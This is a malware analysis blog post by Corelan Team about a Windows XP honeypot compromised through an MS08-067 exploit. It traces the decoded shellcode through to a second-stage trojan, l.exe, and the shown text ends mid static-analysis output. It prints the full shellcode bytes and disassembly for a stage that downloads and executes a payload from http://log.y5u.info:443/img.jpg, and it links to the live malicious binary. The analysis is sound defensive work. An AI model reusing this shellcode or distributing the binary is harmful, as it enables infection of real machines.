Please consider donating: https://www.corelan.be/index.php/donate/


14,842 views

The Honeypot Incident – How strong is your UF (Reversing FU)

Introduction

bot1Interested in capturing, documenting and analyzing scans and malicious activity, Corelan Team decided to set up a honeypot and put it online. In the first week of december 2010, Obzy built a machine (default Windows XP SP3 installation, no patches, firewall turned off), named it "EGYPTS-AIRWAYS", set up a honeypot + some other monitoring tools, and connected it to the internet.

As expected, we quickly started to see all kinds of traffic… some of them were obvious port scans, others were less obvious recons or attacks.  Both exciting and interesting…  We could probably spend some time to document the various types of attacks, maybe build a nice table with figures and produce some kick-ass management graphs and do some trends analysis. It would be a fun exercise…

…but nothing beats the real deal. 

Nothing beats the thrill of observing an actual exploit being used, a machine getting hacked, rooted / infected, (ab)used,….

And that’s what happened.

Within the first 2 hours after connecting the box to the internet, something happened….   The machine was not patched, firewall turned off… so it got pwned. Hard. Our "sitting duck" was shot… the honeypot project turned into a live malware analysis lab :)

 

Scope & Tools

What follows below is an analysis of the compromise (initial exploit which staged the infection, and the infection itself).  This post is split into several chapters and stages. We wanted to tell a realistic story of the analysis and not so much explain the analysis, pretending we discovered all of the "goodies" during our first run. That would be not realistic and simply not true. We spent a lot of time on this analysis, had to go back to specific functions & redo some of the analysis.

Note that we did not just run the malware through a behavioural based analysis (sandbox) tool, but we really wanted to know "how" things are done, and not just copy/paste the report on "what" it does.

We faced a lot of frustrations… spent a lot of time on it… and we had to give up in the end (most likely because we are not really seasoned / experienced malware analysts).

What you’re about to read is a chronological write-up of the analysis steps (and not necessarily the chronological infection).

We will explain how the machine got owned and what happened right after it got owned. We’ll try to document the impact to our machine (in terms of infection, behaviour, etc).  We have also tried to reveal how the machine is infected permanently (if that is the case), but as you will find out later, this part of the analysis appeared to be more difficult than anticipated, so this post ends with a challenge for you, the reader.

There are various ways to analyze malware. For the sake of this analysis, we mainly used a quite rudimentary (manual) technique… we loaded binaries in a debugger and stepped through the individual instructions. Unarguably, this is not only time intensive and rather dangerous, it might also get very complex very fast, and that might make us miss/ignore things.  Of course, we could have used behavioural analysis tools as our main toolset and merely document WHAT the malware does, and then try to find proof for the behaviour… but that would make us miss certain things as well. 

You will notice however that, at a certain point in the analysis, we actually had to look at the behaviour in order to fill in the gaps between what we could see in the debugger during the initial runs, and what the malware actually does. That allowed us to go back and look at very specific parts of the malware and look for proof for that specific behaviour.

This explains why we ended up using a couple of simple/free tools after all, assisting us with revealing some of the missing pieces.

The combination of both (tools + debugger) should allow us to glue most parts together and demonstrate the various techniques that are used by malware to hide (from debuggers, from AV, from users…  from being detected in general)

Analyzing malware is fun, can be frustrating, is important (if you care about what happens behind the curtains), and above all… it’s a great learning experience.

Again, as you will discover, we have not been able to properly document hard proof for all of the malware components.

Read the post so you can see what we did and did not discover, and then check out the last chapter… "The Challenge"

Fasten your seatbelts for an intense ride.

Note : links in this document may point to malicious executables.  Pay attention when downloading / opening those files !!

 

svchost.exe

I’m sure you can imagine the thrill we experienced, and picture the look on our faces when we noticed a messagebox popping on the desktop of the honeypot machine.  As we were sorting through events and alerts in the honeypot console, we were already watching the desktop up close. There was absolutely no way we could have missed the crash message stating that the svchost.exe process had crashed unexpectedly.  This obviously set off an alarm bell. 

The reality is that, by the time we could actually read the text on the popup, the machine already got owned and infected…

At that time, we decided to keep the machine running for a short while (with our monitoring tools still in place), then isolated it (disconnected it from the net), and started the forensic analysis. 

I guess it’s unnecessary to state that it would look really bad… If a service, running with SYSTEM permissions, gets exploited, a lot of nasty things can happen.

Note : all simulations & analysis steps below were executed with administrator permissions, and not as SYSTEM.

 

December 2nd, 2010 21:43:52 GMT+1 – the initial compromise

A wireshark traffic capture of the initial compromise shows this :

image

This looks like a successful MS08-067 netapi exploit to me (Remember Conficker? You thought netapi exploits were dead & all machines patched & cleaned ?).  Anyways, in the TCP session dump, I noticed a bunch of nops followed by what *might* be shellcode :

image

I converted the ‘shellcode’ to bytes, converted it into a C array and pasted it into a little c application designed to test shellcode (shellcodetest.c). I compiled the code (with Dev-C++) and loaded the compiled binary in a debugger. 

Note : you can download a copy of the c script here : http://redmine.corelan.be:8800/attachments/download/178/honeypot_incident_payloadtest.c 

As expected, the captured and extracted payload turned out to be shellcode indeed. 

The first few bytes after the nops represent a typical GetPC stub (making EBX point at the address of FLDZ),  followed by a decoder routine. (XOR [EBX+E],0EE + INC EBX + LOOPD)

image

After decoding the payload, this is what we get (at [EBX+E]):

00402026   E9 E7000000      JMP TestPayl.00402112
0040202B   6A 30            PUSH 30
0040202D   59               POP ECX
0040202E   64:8B01          MOV EAX,DWORD PTR FS:[ECX]
00402031   8B40 0C          MOV EAX,DWORD PTR DS:[EAX+C]
00402034   8B70 1C          MOV ESI,DWORD PTR DS:[EAX+1C]
00402037   AD               LODS DWORD PTR DS:[ESI]
00402038   5F               POP EDI
00402039   8BF7             MOV ESI,EDI
0040203B   8B68 08          MOV EBP,DWORD PTR DS:[EAX+8]
0040203E   6A 06            PUSH 6
00402040   59               POP ECX
00402041   E8 87000000      CALL TestPayl.004020CD
00402046  ^E2 F9            LOOPD SHORT TestPayl.00402041
00402048   87F5             XCHG EBP,ESI
0040204A   33C0             XOR EAX,EAX
0040204C   B0 40            MOV AL,40
0040204E   50               PUSH EAX
0040204F   66:B8 0010       MOV AX,1000
00402053   50               PUSH EAX
00402054   50               PUSH EAX
00402055   51               PUSH ECX
00402056   FF55 08          CALL DWORD PTR SS:[EBP+8]
00402059   97               XCHG EAX,EDI
0040205A   EB 21            JMP SHORT TestPayl.0040207D
0040205C   5E               POP ESI
0040205D   68 E8000000      PUSH 0E8
00402062   59               POP ECX
00402063   68 95000000      PUSH 95
00402068   5A               POP EDX
00402069   8BDF             MOV EBX,EDI
0040206B   F3:A4            REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[>
0040206D   33C0             XOR EAX,EAX
0040206F   50               PUSH EAX
00402070   50               PUSH EAX
00402071   03D3             ADD EDX,EBX
00402073   52               PUSH EDX
00402074   53               PUSH EBX
00402075   50               PUSH EAX
00402076   50               PUSH EAX
00402077   FF55 04          CALL DWORD PTR SS:[EBP+4]
0040207A   FF55 10          CALL DWORD PTR SS:[EBP+10]
0040207D   E8 DAFFFFFF      CALL TestPayl.0040205C
00402082   8B6C24 04        MOV EBP,DWORD PTR SS:[ESP+4]
00402086   8DB5 00040000    LEA ESI,DWORD PTR SS:[EBP+400]
0040208C   68 94000000      PUSH 94
00402091   8F06             POP DWORD PTR DS:[ESI]
00402093   56               PUSH ESI
00402094   FF55 14          CALL DWORD PTR SS:[EBP+14]
00402097   837E 08 01       CMP DWORD PTR DS:[ESI+8],1
0040209B   75 2D            JNZ SHORT TestPayl.004020CA
0040209D   8D45 22          LEA EAX,DWORD PTR SS:[EBP+22]
004020A0   50               PUSH EAX
004020A1   FF55 00          CALL DWORD PTR SS:[EBP]
004020A4   55               PUSH EBP
004020A5   5E               POP ESI
004020A6   87EF             XCHG EDI,EBP
004020A8   83C7 18          ADD EDI,18
004020AB   8BE8             MOV EBP,EAX
004020AD   E8 1B000000      CALL TestPayl.004020CD
004020B2   33C9             XOR ECX,ECX
004020B4   51               PUSH ECX
004020B5   51               PUSH ECX
004020B6   8D46 1C          LEA EAX,DWORD PTR DS:[ESI+1C]
004020B9   50               PUSH EAX
004020BA   8D46 29          LEA EAX,DWORD PTR DS:[ESI+29]
004020BD   50               PUSH EAX
004020BE   51               PUSH ECX
004020BF   FF56 18          CALL DWORD PTR DS:[ESI+18]
004020C2   8D46 1C          LEA EAX,DWORD PTR DS:[ESI+1C]
004020C5   50               PUSH EAX
004020C6   50               PUSH EAX
004020C7   FF56 0C          CALL DWORD PTR DS:[ESI+C]
004020CA   FF56 10          CALL DWORD PTR DS:[ESI+10]
004020CD   51               PUSH ECX
004020CE   56               PUSH ESI
004020CF   8B75 3C          MOV ESI,DWORD PTR SS:[EBP+3C]
004020D2   8B7435 78        MOV ESI,DWORD PTR SS:[EBP+ESI+78]
004020D6   03F5             ADD ESI,EBP
004020D8   56               PUSH ESI
004020D9   8B76 20          MOV ESI,DWORD PTR DS:[ESI+20]
004020DC   03F5             ADD ESI,EBP
004020DE   33C9             XOR ECX,ECX
004020E0   49               DEC ECX
004020E1   41               INC ECX
004020E2   AD               LODS DWORD PTR DS:[ESI]
004020E3   03C5             ADD EAX,EBP
004020E5   33DB             XOR EBX,EBX
004020E7   0FBE10           MOVSX EDX,BYTE PTR DS:[EAX]
004020EA   38F2             CMP DL,DH
004020EC   74 08            JE SHORT TestPayl.004020F6
004020EE   C1CB 0D          ROR EBX,0D
004020F1   03DA             ADD EBX,EDX
004020F3   40               INC EAX
004020F4  ^EB F1            JMP SHORT TestPayl.004020E7
004020F6   3B1F             CMP EBX,DWORD PTR DS:[EDI]
004020F8  ^75 E7            JNZ SHORT TestPayl.004020E1
004020FA   5E               POP ESI
004020FB   8B5E 24          MOV EBX,DWORD PTR DS:[ESI+24]
004020FE   03DD             ADD EBX,EBP
00402100   66:8B0C4B        MOV CX,WORD PTR DS:[EBX+ECX*2]
00402104   8B5E 1C          MOV EBX,DWORD PTR DS:[ESI+1C]
00402107   03DD             ADD EBX,EBP
00402109   8B048B           MOV EAX,DWORD PTR DS:[EBX+ECX*4]
0040210C   03C5             ADD EAX,EBP
0040210E   AB               STOS DWORD PTR ES:[EDI]
0040210F   5E               POP ESI
00402110   59               POP ECX
00402111   C3               RETN
00402112   E8 14FFFFFF      CALL TestPayl.0040202B

This is what the code does :

First, the routine between 0x004020CD and 0x00402111 will get the base address of kernel32 and the function pointer to LoadLibraryA :

image

After this function ends, we see the function pointer to LoadLibraryA in EAX, and the base address of kernel32.dll in EBP.

image

In subsequent runs of the same routine (loop), the function pointer to a few other API’s is retrieved and stored at an offset of EBP (which is set to the .data section of the binary in our case. Together with the LoadLibraryA pointer, the stack at EBP looks like this :

  • pointer to LoadLibrary (EBP)
  • pointer to CreateThread (EBP+4)
  • pointer to VirtualAlloc (EBP+8)
  • pointer to WinExec (EBP+C)
  • pointer to ExitThread (EBP+10)
  • pointer to GetVersionA (EBP+14)

Next, VirtualAlloc() is called to allocate a memory area of 4096 bytes as RWX. This function returns a pointer to the newly allocated block of memory and stores that pointer in EAX.

image

Next, the REP MOVS instruction is used to copy payload from [ESI] to [EDI] (which points to 0x00480000 in the test app). After the copy completes, we can find a copy of the payload at 0x00480000 :

image

Next, a call to CreateThread is executed, pointing the ThreadFunction parameter to the newly allocated memory / copied shellcode at 00480000.  In essence, this function call will create a new thread, which will execute within the virtual address space of the calling process.

image

image

After this call, we see a call to ExitThread() (EBP+10)…

image

Finally, this first stage will exit…   Nothing special happened so far, right ?  Well, that’s obviously not true. Let’s take it one step back…  The child thread actually did something interesting, but it happened a bit outside of the current debugger view.  In fact, the code that was copied to 0x00480000 was executed in a new thread:

"\x8B\x6C\x24\x04\x8D\xB5\x00\x04\x00\x00\x68\x94\x00\x00\x00\x8F"
"\x06\x56\xFF\x55\x14\x83\x7E\x08\x01\x75\x2D\x8D\x45\x22\x50\xFF"
"\x55\x00\x55\x5E\x87\xEF\x83\xC7\x18\x8B\xE8\xE8\x1B\x00\x00\x00"
"\x33\xC9\x51\x51\x8D\x46\x1C\x50\x8D\x46\x29\x50\x51\xFF\x56\x18"
"\x8D\x46\x1C\x50\x50\xFF\x56\x0C\xFF\x56\x10\x51\x56\x8B\x75\x3C"
"\x8B\x74\x35\x78\x03\xF5\x56\x8B\x76\x20\x03\xF5\x33\xC9\x49\x41"
"\xAD\x03\xC5\x33\xDB\x0F\xBE\x10\x38\xF2\x74\x08\xC1\xCB\x0D\x03"
"\xDA\x40\xEB\xF1\x3B\x1F\x75\xE7\xCC\x8B\x5E\x24\x03\xDD\x66\x8B"
"\x0C\x4B\x8B\x5E\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\xAB\x5E\x59\xC3"
"\xE8\x14\xFF\xFF\xFF\x7B\x1D\x80\x7C\xD7\x06\x81\x7C\xF1\x9A\x80"
"\x7C\x0D\x25\x86\x7C\xF8\xC0\x80\x7C\x7E\x2B\x81\x7C\x36\x1A\x2F"
"\x70\x6C\x2E\x65\x78\x65\x00\x75\x72\x6C\x6D\x6F\x6E\x00\x68\x74"
"\x74\x70\x3A\x2F\x2F\x6C\x6F\x67\x2E\x79\x35\x75\x2E\x69\x6E\x66"
"\x6F\x3A\x34\x34\x33\x2F\x69\x6D\x67\x2E\x6A\x70\x67\x00\x00\x00";

Or, in the debugger :

004021C0   8B6C24 04        MOV EBP,DWORD PTR SS:[ESP+4]
004021C4   8DB5 00040000    LEA ESI,DWORD PTR SS:[EBP+400]
004021CA   68 94000000      PUSH 94
004021CF   8F06             POP DWORD PTR DS:[ESI]
004021D1   56               PUSH ESI
004021D2   FF55 14          CALL DWORD PTR SS:[EBP+14]
004021D5   837E 08 01       CMP DWORD PTR DS:[ESI+8],1
004021D9   75 2D            JNZ SHORT TestPayl.00402208
004021DB   8D45 22          LEA EAX,DWORD PTR SS:[EBP+22]
004021DE   50               PUSH EAX
004021DF   FF55 00          CALL DWORD PTR SS:[EBP]
004021E2   55               PUSH EBP
004021E3   5E               POP ESI
004021E4   87EF             XCHG EDI,EBP
004021E6   83C7 18          ADD EDI,18
004021E9   8BE8             MOV EBP,EAX
004021EB   E8 1B000000      CALL TestPayl.0040220B
004021F0   33C9             XOR ECX,ECX
004021F2   51               PUSH ECX
004021F3   51               PUSH ECX
004021F4   8D46 1C          LEA EAX,DWORD PTR DS:[ESI+1C]
004021F7   50               PUSH EAX
004021F8   8D46 29          LEA EAX,DWORD PTR DS:[ESI+29]
004021FB   50               PUSH EAX
004021FC   51               PUSH ECX
004021FD   FF56 18          CALL DWORD PTR DS:[ESI+18]
00402200   8D46 1C          LEA EAX,DWORD PTR DS:[ESI+1C]
00402203   50               PUSH EAX
00402204   50               PUSH EAX
00402205   FF56 0C          CALL DWORD PTR DS:[ESI+C]
00402208   FF56 10          CALL DWORD PTR DS:[ESI+10]
0040220B   51               PUSH ECX
0040220C   56               PUSH ESI
0040220D   8B75 3C          MOV ESI,DWORD PTR SS:[EBP+3C]
00402210   8B7435 78        MOV ESI,DWORD PTR SS:[EBP+ESI+78]
00402214   03F5             ADD ESI,EBP
00402216   56               PUSH ESI
00402217   8B76 20          MOV ESI,DWORD PTR DS:[ESI+20]
0040221A   03F5             ADD ESI,EBP
0040221C   33C9             XOR ECX,ECX
0040221E   49               DEC ECX
0040221F   41               INC ECX
00402220   AD               LODS DWORD PTR DS:[ESI]
00402221   03C5             ADD EAX,EBP
00402223   33DB             XOR EBX,EBX
00402225   0FBE10           MOVSX EDX,BYTE PTR DS:[EAX]
00402228   38F2             CMP DL,DH
0040222A   74 08            JE SHORT TestPayl.00402234
0040222C   C1CB 0D          ROR EBX,0D
0040222F   03DA             ADD EBX,EDX
00402231   40               INC EAX
00402232  ^EB F1            JMP SHORT TestPayl.00402225
00402234   3B1F             CMP EBX,DWORD PTR DS:[EDI]
00402236  ^75 E7            JNZ SHORT TestPayl.0040221F
00402238   CC               INT3
00402239   8B5E 24          MOV EBX,DWORD PTR DS:[ESI+24]
0040223C   03DD             ADD EBX,EBP
0040223E   66:8B0C4B        MOV CX,WORD PTR DS:[EBX+ECX*2]
00402242   8B5E 1C          MOV EBX,DWORD PTR DS:[ESI+1C]
00402245   03DD             ADD EBX,EBP
00402247   8B048B           MOV EAX,DWORD PTR DS:[EBX+ECX*4]
0040224A   03C5             ADD EAX,EBP
0040224C   AB               STOS DWORD PTR ES:[EDI]
0040224D   5E               POP ESI
0040224E   59               POP ECX
0040224F   C3               RETN
00402250   E8 14FFFFFF      CALL TestPayl.00402169
00402255   7B 1D            JPO SHORT TestPayl.00402274
00402257   807CD7 06 81     CMP BYTE PTR DS:[EDI+EDX*8+6],81
0040225C  ^7C F1            JL SHORT TestPayl.0040224F
0040225E   9A 807C0D25 867C CALL FAR 7C86:250D7C80                   ; Far call
00402265   F8               CLC
00402266   C080 7C7E2B81 7C ROL BYTE PTR DS:[EAX+812B7E7C],7C        ; Shift constant out of range 1..31
0040226D   36:1A2F          SBB CH,BYTE PTR SS:[EDI]
00402270   70 6C            JO SHORT TestPayl.004022DE
00402272   2E:              PREFIX CS:                               ; Superfluous prefix
00402273   65:78 65         JS SHORT TestPayl.004022DB               ; Superfluous prefix
00402276   0075 72          ADD BYTE PTR SS:[EBP+72],DH
00402279   6C               INS BYTE PTR ES:[EDI],DX                 ; I/O command
0040227A   6D               INS DWORD PTR ES:[EDI],DX                ; I/O command
0040227B   6F               OUTS DX,DWORD PTR ES:[EDI]               ; I/O command
0040227C   6E               OUTS DX,BYTE PTR ES:[EDI]                ; I/O command
0040227D   0068 74          ADD BYTE PTR DS:[EAX+74],CH
00402280   74 70            JE SHORT TestPayl.004022F2
00402282   3A2F             CMP CH,BYTE PTR DS:[EDI]
00402284   2F               DAS
00402285   6C               INS BYTE PTR ES:[EDI],DX                 ; I/O command
00402286   6F               OUTS DX,DWORD PTR ES:[EDI]               ; I/O command
00402287   67:2E:79 35      JNS SHORT TestPayl.004022C0              ; Superfluous prefix
0040228B   75 2E            JNZ SHORT TestPayl.004022BB
0040228D   696E 66 6F3A3434 IMUL EBP,DWORD PTR DS:[ESI+66],34343A6F
00402294   332F             XOR EBP,DWORD PTR DS:[EDI]
00402296   696D 67 2E6A7067 IMUL EBP,DWORD PTR SS:[EBP+67],67706A2E

Let’s take a closer look at CreateThread :

HANDLE WINAPI CreateThread(
  __in_opt   LPSECURITY_ATTRIBUTES lpThreadAttributes,
  __in       SIZE_T dwStackSize,
  __in       LPTHREAD_START_ROUTINE lpStartAddress,
  __in_opt   LPVOID lpParameter,
  __in       DWORD dwCreationFlags,
  __out_opt  LPDWORD lpThreadId
);

In the CreateThread call, we see 2 parameters :

lpStartAddress (0x00480000, pointing at the beginning of the copied payload) and lpParameter (0x00480095, pointing to a location inside the copied payload).  When the CreateThread() function is called (and succeeds), a handle to the new thread is returned. Since lpThreadAttributes is set to zero, this handle cannot be inherited by child processes (which is not an issue here).

So, a new thread will be created, using the data at 0x00480095 as parameter :

00480095  7B 1D 80 7C D7 06 81 7C F1 9A 80 7C 0D 25 86 7C  {€|ׁ|ñš€|.%†|
004800A5  F8 C0 80 7C 7E 2B 81 7C 36 1A 2F 70 6C 2E 65 78  øÀ€|~+|6/pl.ex
004800B5  65 00 75 72 6C 6D 6F 6E 00 68 74 74 70 3A 2F 2F  e.urlmon.http://
004800C5  6C 6F 67 2E 79 35 75 2E 69 6E 66 6F 3A 34 34 33  log.y5u.info:443
004800D5  2F 69 6D 67 2E 6A 70 67                          /img.jpg

The first 6 dwords are in fact API pointers (the ones that were originally stored at EBP+offset earlier on) :

  • 7C801D7B : kernel32.LoadLibraryA()
  • 7C8106D7 : kernel32.CreateThread()
  • 7C809AF1 : kernel32.VirtualAlloc()
  • 7C86250D : kernel32.WinExec()
  • 7C80C0F8 : kernel32.ExitThread()
  • 7C812B7E : GetVersionExA()

The next dwords represent this :

36 1A 2F 70                      6/p

(unclear at this point what this means or what it’s used for, but that doesn’t really matter). 

Next, we see this :

004800A5                                      6C 2E 65 78              l.ex
004800B5  65 00 75 72 6C 6D 6F 6E 00 68 74 74 70 3A 2F 2F  e.urlmon.http://
004800C5  6C 6F 67 2E 79 35 75 2E 69 6E 66 6F 3A 34 34 33  log.y5u.info:443
004800D5  2F 69 6D 67 2E 6A 70 67                          /img.jpg
  • l.exe
  • urlmon
  • http://log.y5u.info:443/img.jpg

Without analysing the code, we would suspect that it will use an API in urlmon.dll to download http://log.y5u.info:443/img.jpg, rename it to l.exe, and execute it.  This would be a typical staged attack deployed by a lot of malware.  So let’s find out if this is the case. 

When we reported the exe to Virustotal, only 12 engines discovered that something is "wrong" with the binary.  We reported the file again a week later, and 29 out of the 43 engines detected it as malicious.  The most commonly used keyword we saw in the virustotal report was "Vilsel".  On public forums and websites, this is classified as a low to medium risk trojan.  So it looks like the techniques and level of complexity used in this piece of malware, is just "standard behaviour" nowadays.  Kinda scary if you think about it.

 

I enabled ‘break on new thread’ in the debugger and set a breakpoint at 0x00480000, and eventually I could see the code getting called :

image

First, a kernel32.GetVersionA() call is performed (at 0x00480012). Then a pointer to "urlmon" is put in EAX and also stored on the stack. As expected, a call to kernel32.LoadLibraryA is performed :

image

As expected, after the urlmon module is loaded, the function pointer to urlmon.URLDownloadToFileA is retrieved (by the routine that starts at 0048004B)

image

Then, the stack and registers are set up to perform the URLDownloadToFileA() call :

Stack :

0068FFA4   00000000  ....
0068FFA8   004800BE  ¾.H.  ASCII "http://log.y5u.info:443/img.jpg"
0068FFAC   004800B1  ±.H.  ASCII "l.exe"
0068FFB0   00000000  ....

The API call creates a new thread, where the file is downloaded and saved as l.exe, in the current working folder.

image

Then, the new executable gets executed using WinExec() :

image

and finally the current thread is terminated using ExitThread()

image

We’ll call the execution of l.exe "stage 2" from this point forward.

So far so good, nothing special at this point.  Time elapsed so far : a few seconds.

Note : you can get a copy of l.exe here : http://redmine.corelan.be:8800/attachments/download/177/l.exe.  This is the only file you need to reproduce the analysis below.

December 2nd, 2010 21:43:55 GMT+1 – stage 2 (l.exe)

A few seconds ago, our honeypot box was compromised, a new executable was downloaded and executed.  What follows is the analysis of stage 2 of the compromise.

The executable uses the following API imports :

00403000  GetProcAddress   KERNEL32
00403004  GetModuleHandleA KERNEL32
00403008  IsBadReadPtr     KERNEL32
0040300C  GetStartupInfoA  KERNEL32
00403014  strcpy           MSVCRT  
00403018  _except_handler3 MSVCRT  
0040301C  memset           MSVCRT  
00403020  _exit            MSVCRT  
00403024  _XcptFilter      MSVCRT  
00403028  exit             MSVCRT  
0040302C  _acmdln          MSVCRT  
00403030  __getmainargs    MSVCRT  
00403034  strcat           MSVCRT  
00403038  __setusermatherr MSVCRT  
0040303C  _adjust_fdiv     MSVCRT  
00403040  __p__commode     MSVCRT  
00403044  __p__fmode       MSVCRT  
00403048  __set_app_type   MSVCRT  
0040304C  _controlfp       MSVCRT  
00403050  strlen           MSVCRT  
00403054  memcpy           MSVCRT  
00403058  malloc           MSVCRT  
0040305C  _initterm        MSVCRT  
00403060  free             MSVCRT  

So, unless it uses internal code to locate/execute other API’s, it doesn’t seem to be doing a lot of harm by itself. On the other hand, it would raise a lot of suspicion if l.exe contained references to more dangerous functions right away.  Let’s see.

Sys Analyzer reports this :

image

Anti-Vmware2… interesting.  Well, I’m not using vmware, so I should be good to go, right ? :) It might be false positive too. Anyways, since the malware appeared to be running fine on my virtual machine, I don’t expect to see any vm detection routines that would prevent the malware from running. After all, this is 2011.  We all are running production desktops and/or servers on VM platforms… It would be silly to prevent malware from running on VM

Beenu Arora’s Malware Analyzer tool reports this : (static analysis)

|---------------------------------------------------------------|
| beenudel1986[@]gmail[dot]com                                  |
| Malware Analyzer(Static) 2.7                                  |
|   06/2009      analyse_malware.py                             |
|   Do Visit     www.BeenuArora.com                             |
|   Last Updated :     28-11-2010                               |
|---------------------------------------------------------------|

 Analysing if PE file...

[+] Valid PE file.
[+] Malware File Size : 51 KB

 Checking for Packer Signature....
 Identified packer :Microsoft Visual C++ v6.0

[+] Computing Checksum for malware :l.exe
[-]Checksum of malware :e5871adb818bad139af5549eedb6bf91

-------- Identifying Strings in the malware---------------
!This program cannot be run in DOS mode.
Rich
.text
`.rdata
@.data
.rsrc
QSVW
_^[Y
SV3
VWr(3
$;>
I;>t
})S
(I_^x
;T$
;T$

-----------Performing signatures based scan---------------

[+]Displaying Interesting System Calls Made.
[-]Signatures not found.....

[+]Displaying Registry Hives Edited.
[-]Signatures not found.....

[+]Displaying A Little Online Behaviour.
[-]Signatures not found.....

[+]Displaying the Loaded DLLs.
[-]Signatures not found.....

[+]Commands Inside the Malware.
[-]Signatures not found.....

[+]Sys Calls Made. 
[-]Signatures not found.....

[+]Searching if malware is VM aware
[-]Signatures not found.....

---------------------------------------------------------
!This program cannot be run in DOS mode.
Rich
.text
`.rdata
@.data
.rsrc
QSVW
_^[Y
SV3
VWr(3
$;>
I;>t
})S
(I_^x
;T$
;T$

Malware loads following DLLs

MSVCRT.dll
KERNEL32.dll

[-] Disaassembling the first block

[0x40221cL] mov ebp esp 
[0x40221dL] push 0xff 
[0x40221fL] push 0x403088 
[0x402221L] push 0x402210 
[0x402226L] mov eax [fs:0x0] 
[0x40222bL] push eax 
[0x402231L] mov [fs:0x0] esp 
[0x402232L] sub esp 0x68 
[0x402239L] push ebx 
[0x40223cL] push esi 
[0x40223dL] push r15d 
[0x40223eL] mov [bp-0x18] esp 
[0x40223fL] xor ebx ebx 
[0x402242L] mov [bp-0x4] ebx 
[0x402244L] push 0x2 
[0x402247L] call [0x403048] 
[0x402249L] pop ecx 
[0x40224fL] or [0x4040e0] 0xff 
[0x402250L] or [0x4040e4] 0xff 
[0x402257L] call [0x403044] 
[0x40225eL] mov ecx [0x4040d4] 
[0x402264L] mov [ax] ecx 
[0x40226aL] call [0x403040] 
[0x40226cL] mov ecx [0x4040d0] 
[0x402272L] mov [ax] ecx 
[0x402278L] mov eax [0x40303c] 
[0x40227aL] mov eax [ax] 
[0x40227fL] mov [0x4040e8] eax 
[0x402281L] call 0x40239bL 
[0x402286L] cmp [0x404010] ebx 
[0x40228bL] jnz 0x40229fL 
[0x402291L] push 0x402398 
[0x402293L] call [0x403038] 
[0x402298L] pop ecx 
[0x40229eL] call 0x402386L 
[0x40229fL] push 0x40400c 
[0x4022a4L] push 0x404008 
[0x4022a9L] call 0x402380L 
[0x4022aeL] mov eax [0x4040cc] 
[0x4022b3L] mov [bp-0x6c] eax 
[0x4022b8L] lea eax [bp-0x6c] 
[0x4022bbL] push eax 
[0x4022beL] push [0x4040c8] 
[0x4022bfL] lea eax [bp-0x64] 
[0x4022c5L] push eax 
[0x4022c8L] lea eax [bp-0x70] 
[0x4022c9L] push eax 
[0x4022ccL] lea eax [bp-0x60] 
[0x4022cdL] push eax 
[0x4022d0L] call [0x403030] 
[0x4022d1L] push 0x404004 
[0x4022d7L] push 0x404000 
[0x4022dcL] call 0x402380L 
[0x4022e1L] add esp 0x24 
[0x4022e6L] mov eax [0x40302c] 
[0x4022e9L] mov esi [ax] 
[0x4022eeL] mov [bp-0x74] esi 
[0x4022f0L] cmp [si] 0x22 
[0x4022f3L] jnz 0x402332L 
[0x4022f6L] inc esi 
[0x4022f8L] mov [bp-0x74] esi 
[0x4022f9L] mov al [si] 
[0x4022fcL] cmp al bl 
[0x4022feL] jz 0x402306L 
[0x402300L] cmp al 0x22 
[0x402302L] jnz 0x4022f8L 
[0x402304L] cmp [si] 0x22 
[0x402306L] jnz 0x40230fL 
[0x402309L] inc esi 
[0x40230bL] mov [bp-0x74] esi 
[0x40230cL] mov al [si] 
[0x40230fL] cmp al bl 
[0x402311L] jz 0x402319L 
[0x402313L] cmp al 0x20 
[0x402315L] jbe 0x40230bL 
[0x402317L] mov [bp-0x30] ebx 
[0x402319L] lea eax [bp-0x5c] 
[0x40231cL] push eax 
[0x40231fL] call [0x40300c] 
[0x402320L] test [bp-0x30] 0x1 
[0x402326L] jz 0x40233dL 
[0x40232aL] movzx eax [bp-0x2c] 
[0x40232cL] jmp near 0x402340L 
[0x402330L] push eax 
[0x402340L] push esi 
[0x402341L] push ebx 
[0x402342L] push ebx 
[0x402343L] call [0x403004] 
[0x402344L] push eax 
[0x40234aL] call 0x401edfL 
[0x40234bL] mov [bp-0x68] eax 
[0x402350L] push eax 
[0x402353L] call [0x403028] 
[0x402354L] mov eax [bp-0x14] 
[0x40235aL] mov ecx [ax] 
[0x40235dL] mov ecx [cx] 
[0x40235fL] mov [bp-0x78] ecx 
[0x402361L] push eax 
[0x402364L] push ecx 
[0x402365L] call 0x40237aL 
[0x402366L] pop ecx 
[0x40236bL] pop ecx 
[0x40236cL] ret 

**This Test shall be performed when you are confirm that suspect is a malware**

 Anti Debugging traces identification
  [!] Found a call at:  0x403000 GetProcAddress

 Malware File System Activity Traces
  No Filesystem traces :( . Try manually

 Malware System Hook Calls 
  No System Hook Call traces found :( . Try manually

 Malware Keyboard Hook Calls 
  No Keyboard Hook Call traces found :( . Try manually

 Malware Rootkit traces 
  No Rootkit Hook traces found :( . Try manually

 DEP Setting Change trace 
  No DEP setting change trace found :( . Try manually

 DLL Injection trace 
  No DLL Injection trace found :( . Try manually

 Network Connection Traces
  No Potential Network trace found :( . Try manually

 Privilage Escalation Potential Traces
  No Privilage Escalation trace found :( . Try manually

[+] Computing Checksum for malware :l.exe
[-]Checksum of malware :e5871adb818bad139af5549eedb6bf91
[+] Malware detected! [29/43] (67.4%)
  [*] Malware names:
    Trojan/Win32.Vilsel
    TR/Crypt.ZPACK.Gen
    Trojan/Win32.Vilsel.gen
    Win32:Rootkit-gen
    Win32:Rootkit-gen
    Generic19.BXFQ
    Trojan.Generic.5007190
    Trojan.Vilsel.auoe
    TrojWare.Win32.Trojan.Agent.Gen
    Trojan.Inject.11207
    Trojan.Win32.Vilsel!IK
    Win32.TRCrypt.ZPACK
    Trojan.Generic.5007190
    W32/Vilsel.AUOE!tr
    Trojan.Generic.5007190
    Trojan.Win32.Vilsel
    Trojan/Vilsel.pzv
    Trojan
    Trojan.Win32.Vilsel.auoe
    Artemis!E5871ADB818B
    Artemis!E5871ADB818B
    W32/Suspicious_Gen2.FPBSH
    Trojan/W32.Vilsel.51712.L
    Trj/CI.A
    Trojan.Win32.Generic.523AA010
    Trojan.Vilsel.auoe
    Trojan.Win32.Generic!BT
    Trojan.Vilsel!y3dOZ/KZxxM

[+] For more information you may visit: 
http://www.virustotal.com/file-scan/report.html?id=
dab1de3dc0def76bbb09a9d9a2a3915c5f25bfc93cbf565a66a7cbb336fd134e-1294339231

[!]Creating signatures of the various sections
[!]Processing....
[l.exe Section(1/4,.text)]
